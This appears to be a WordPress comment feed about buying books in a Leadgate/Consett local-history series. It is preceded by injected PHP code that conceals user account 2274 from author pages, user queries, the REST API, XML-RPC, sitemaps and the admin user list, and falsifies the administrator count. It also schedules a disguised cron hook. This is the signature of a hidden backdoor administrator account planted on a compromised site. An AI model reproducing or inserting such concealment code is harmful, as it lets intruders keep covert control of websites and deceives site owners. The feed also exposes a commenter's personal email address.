add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2274;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
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}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2274 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2274 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2274;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2274;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2274;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2274(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2274;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2274{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	Comments on: Signing Up For The Next Books In The Leadgate/Consett Series	</title>
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		By: Martin		</title>
		<link>https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-2496</link>

		<dc:creator><![CDATA[Martin]]></dc:creator>
		<pubDate>Fri, 19 Oct 2018 15:30:13 +0000</pubDate>
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					<description><![CDATA[In reply to &lt;a href=&quot;https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-2458&quot;&gt;Muriel Lawson&lt;/a&gt;.

Hi Muriel, Martin here, just to let you know all seven Consett Books are now in the Book Shop ready to be purchased.
Please let me know if you have any problems.
Regards,
Martin.]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-2458">Muriel Lawson</a>.</p>
<p>Hi Muriel, Martin here, just to let you know all seven Consett Books are now in the Book Shop ready to be purchased.<br />
Please let me know if you have any problems.<br />
Regards,<br />
Martin.</p>
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		<title>
		By: Martin		</title>
		<link>https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-2463</link>

		<dc:creator><![CDATA[Martin]]></dc:creator>
		<pubDate>Wed, 05 Sep 2018 15:01:43 +0000</pubDate>
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					<description><![CDATA[In reply to &lt;a href=&quot;https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-1730&quot;&gt;Anne Hartnell&lt;/a&gt;.

Hi Anne, all books are now available to purchase as Ebooks from this link http://leadgatevillage.com/book-shop/]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-1730">Anne Hartnell</a>.</p>
<p>Hi Anne, all books are now available to purchase as Ebooks from this link <a href="http://leadgatevillage.com/book-shop/" rel="ugc">http://leadgatevillage.com/book-shop/</a></p>
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		By: Muriel Lawson		</title>
		<link>https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-2458</link>

		<dc:creator><![CDATA[Muriel Lawson]]></dc:creator>
		<pubDate>Sat, 25 Aug 2018 16:19:42 +0000</pubDate>
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					<description><![CDATA[Hi Martin, Spoke to you Friday evening 24th August.  I was telling you that my sister had bought me 3 books on Consett and you said the series was 1-6.  Is there any way to order and pay for and to get hold of Book nos 2,3 and 5. Enjoyed our chat about Consett as it was years ago I lived on Albert Rd which you said is still there that would be some 72 years ago. Would be so pleased and grateful if I could buy those books and thank you for the trip down memory lane and shall await your reply. Best Wishes and well done on your great work. Muriel ]]></description>
			<content:encoded><![CDATA[<p>Hi Martin, Spoke to you Friday evening 24th August.  I was telling you that my sister had bought me 3 books on Consett and you said the series was 1-6.  Is there any way to order and pay for and to get hold of Book nos 2,3 and 5. Enjoyed our chat about Consett as it was years ago I lived on Albert Rd which you said is still there that would be some 72 years ago. Would be so pleased and grateful if I could buy those books and thank you for the trip down memory lane and shall await your reply. Best Wishes and well done on your great work. Muriel </p>
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		<title>
		By: Martin		</title>
		<link>https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-1882</link>

		<dc:creator><![CDATA[Martin]]></dc:creator>
		<pubDate>Thu, 24 Aug 2017 16:27:55 +0000</pubDate>
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					<description><![CDATA[In reply to &lt;a href=&quot;https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-1730&quot;&gt;Anne Hartnell&lt;/a&gt;.

Hi Anne, I don&#039;t know if anybody has been in touch with you regarding your query but if they haven&#039;t here are the copies that are available in booklet form the rest will shortly be available in PDF downloads.
Books available in the Leadgate series of which there are seventeen: Nos 9, 11, 12, 14, 15, 17, All at £3.00 book plus postage and packaging. Please let me know if you need any of these.

Kind regards,

Martin Boyle.
email address: martinboyle137@gmail.com]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://leadgatevillage.com/signing-up-for-the-next-books-in-the-leadgateconsett-series/#comment-1730">Anne Hartnell</a>.</p>
<p>Hi Anne, I don&#8217;t know if anybody has been in touch with you regarding your query but if they haven&#8217;t here are the copies that are available in booklet form the rest will shortly be available in PDF downloads.<br />
Books available in the Leadgate series of which there are seventeen: Nos 9, 11, 12, 14, 15, 17, All at £3.00 book plus postage and packaging. Please let me know if you need any of these.</p>
<p>Kind regards,</p>
<p>Martin Boyle.<br />
email address: <a href="mailto:martinboyle137@gmail.com">martinboyle137@gmail.com</a></p>
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		By: Anne Hartnell		</title>
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		<dc:creator><![CDATA[Anne Hartnell]]></dc:creator>
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